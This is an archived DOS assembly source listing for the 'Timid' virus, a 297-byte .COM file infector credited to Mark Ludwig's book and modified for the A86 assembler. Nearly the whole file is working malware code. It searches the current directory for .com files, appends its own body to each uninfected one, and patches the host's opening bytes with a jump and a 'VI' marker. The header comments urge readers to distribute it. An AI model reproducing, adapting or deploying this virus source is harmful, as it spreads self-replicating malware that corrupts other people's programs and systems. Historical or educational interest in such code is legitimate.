home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / TIMID.ASM < prev    next >
Assembly Source File  |  1992-07-15  |  4KB  |  196 lines

  1. ;TIMID VIRUS asm by Mark Ludwig in 1991.
  2. ;
  3. ;-infects .coms only in current directory unless called by dos path statement
  4. ;-announces each file infected.
  5. ;297bytes=eff. length
  6. ;Copied from Mark Ludwig's "The Little Black Book of Computer Viruses"
  7. ;Slightly modified for A86 assembly.
  8. ;-asm makes a 64k file, run against 'bait' .com to get 297 byte virus
  9. ;-fixed bug in code reprinted in his book.
  10. ;all infected files will have VI at byte position 4-5.
  11. ;Mark Ludwig claims copyright on this virus and said he will
  12. ; sue anyone distributing his viruses around.  I say have fun!.
  13.  
  14.  
  15. main    segment byte
  16.         assume cs:main, ds:main, ss:nothing
  17.  
  18.         org 100h
  19.  
  20. host:
  21.         jmp near ptr virus_start
  22.         db 'VI'                 ;identifies virus
  23.         mov ah, 4ch
  24.         mov al, 0
  25.         int 21h
  26.  
  27. virus:
  28.  
  29. comfile db      '*.com',0
  30.  
  31. virus_start:
  32.         call get_start
  33.  
  34. get_start:
  35.         sub word ptr [vir_start], offset get_start - offset virus
  36.         mov dx, offset dta
  37.         mov ah, 1ah
  38.         int 21h
  39.         call find_file
  40.         jnz exit_virus
  41.         call infect
  42.         mov dx, offset fname
  43.         mov [handle] b,24h
  44.         mov ah, 9
  45.         int 21h
  46. exit_virus:                             ;bug was here in book
  47.         mov dx, 80h
  48.         mov ah, 1ah
  49.         int 21h
  50.         mov bx, [vir_start]
  51.         mov ax, word ptr [bx+(offset start_code)-(offset virus)]
  52.         mov word ptr [host], ax
  53.         mov ax, word ptr [bx+(offset start_code)-(offset virus)+2]
  54.         mov word ptr [host+2],ax
  55.         mov al, byte ptr [bx+(offset start_code)-(offset virus)+4]
  56.         mov byte ptr [host+4], al
  57.         mov [vir_start], 100h
  58.         ret
  59. start_code:
  60.         nop
  61.         nop
  62.         nop
  63.         nop
  64.         nop
  65.  
  66. find_file:
  67.         mov dx, [vir_start]
  68.         add dx, offset comfile-offset virus
  69.         mov cx, 3fh
  70.         mov ah, 4eh
  71.         int 21h
  72.  
  73. ff_loop:
  74.         or al,al
  75.         jnz ff_done
  76.         call file_ok
  77.         jz ff_done
  78.         mov ah, 4fh
  79.         int 21h
  80.         jmp ff_loop
  81.  
  82. ff_done:
  83.         ret
  84.  
  85. file_ok:
  86.         mov dx, offset fname
  87.         mov ax, 3d02h
  88.         int 21h
  89.         jc fok_nzend
  90.         mov bx, ax
  91.         push bx
  92.         mov cx, 5
  93.         mov dx, offset start_image
  94.         mov ah, 3fh
  95.         int 21h
  96.         pop bx
  97.         mov ah, 3eh
  98.         int 21h
  99.         mov ax, word ptr [fsize]
  100.         add ax, offset endvirus - offset virus
  101.         jc fok_nzend
  102.         cmp byte ptr [start_image], 0e9h
  103.         jnz fok_zend
  104.  
  105. fok_nzend:
  106.         mov al, 1
  107.         or al,al
  108.         ret
  109.  
  110. fok_zend:
  111.         xor al,al
  112.         ret
  113.  
  114. infect:
  115.         mov dx, offset fname
  116.         mov ax, 3d02h
  117.         int 21h
  118.         mov word ptr [handle],ax
  119.  
  120.         xor cx,cx
  121.         mov dx,cx
  122.         mov bx, word ptr [handle]
  123.         mov ax, 4202h
  124.         int 21h
  125.  
  126.         mov cx, offset final -offset virus
  127.         mov dx, [vir_start]
  128.         mov bx, word ptr [handle]
  129.         mov ah, 40h
  130.         int 21h
  131.  
  132.         xor cx,cx
  133.         mov dx, word ptr [fsize]
  134.         add dx, offset start_code-offset virus
  135.         mov bx, word ptr [handle]
  136.         mov ax, 4200h
  137.         int 21h
  138.  
  139.         mov cx, 5
  140.         mov bx, word ptr [handle]
  141.         mov dx, offset start_image
  142.         mov ah, 40h
  143.         int 21h
  144.  
  145.         xor cx,cx
  146.         mov dx,cx
  147.         mov bx, word ptr [handle]
  148.         mov ax, 4200h
  149.         int 21h
  150.  
  151.         mov bx, [vir_start]
  152.         mov byte ptr [start_image], 0e9h
  153.         mov ax, word ptr [fsize]
  154.         add ax, offset virus_start-offset virus-3
  155.         mov word ptr [start_image+1], ax
  156.         mov word ptr [start_image+3], 4956h
  157.  
  158.         mov cx, 5
  159.         mov dx, offset start_image
  160.         mov bx, word ptr [handle]
  161.         mov ah, 40h
  162.         int 21h
  163.  
  164.         mov bx, word ptr [handle]
  165.         mov ah, 3eh
  166.         int 21h
  167.         ret
  168.  
  169. final:
  170.  
  171. ;data area
  172. endvirus equ $ + 212
  173. org 0ff2ah
  174.  
  175. dta db 1ah dup (?)
  176. fsize dw 0,0
  177. fname db 13 dup (?)
  178. handle dw 0
  179. start_image db 0,0,0,0,0
  180. vstack dw 50h dup (?)
  181. vir_start dw (?)
  182.  
  183. main ends
  184. end     host
  185. ;end of timid.asm
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196.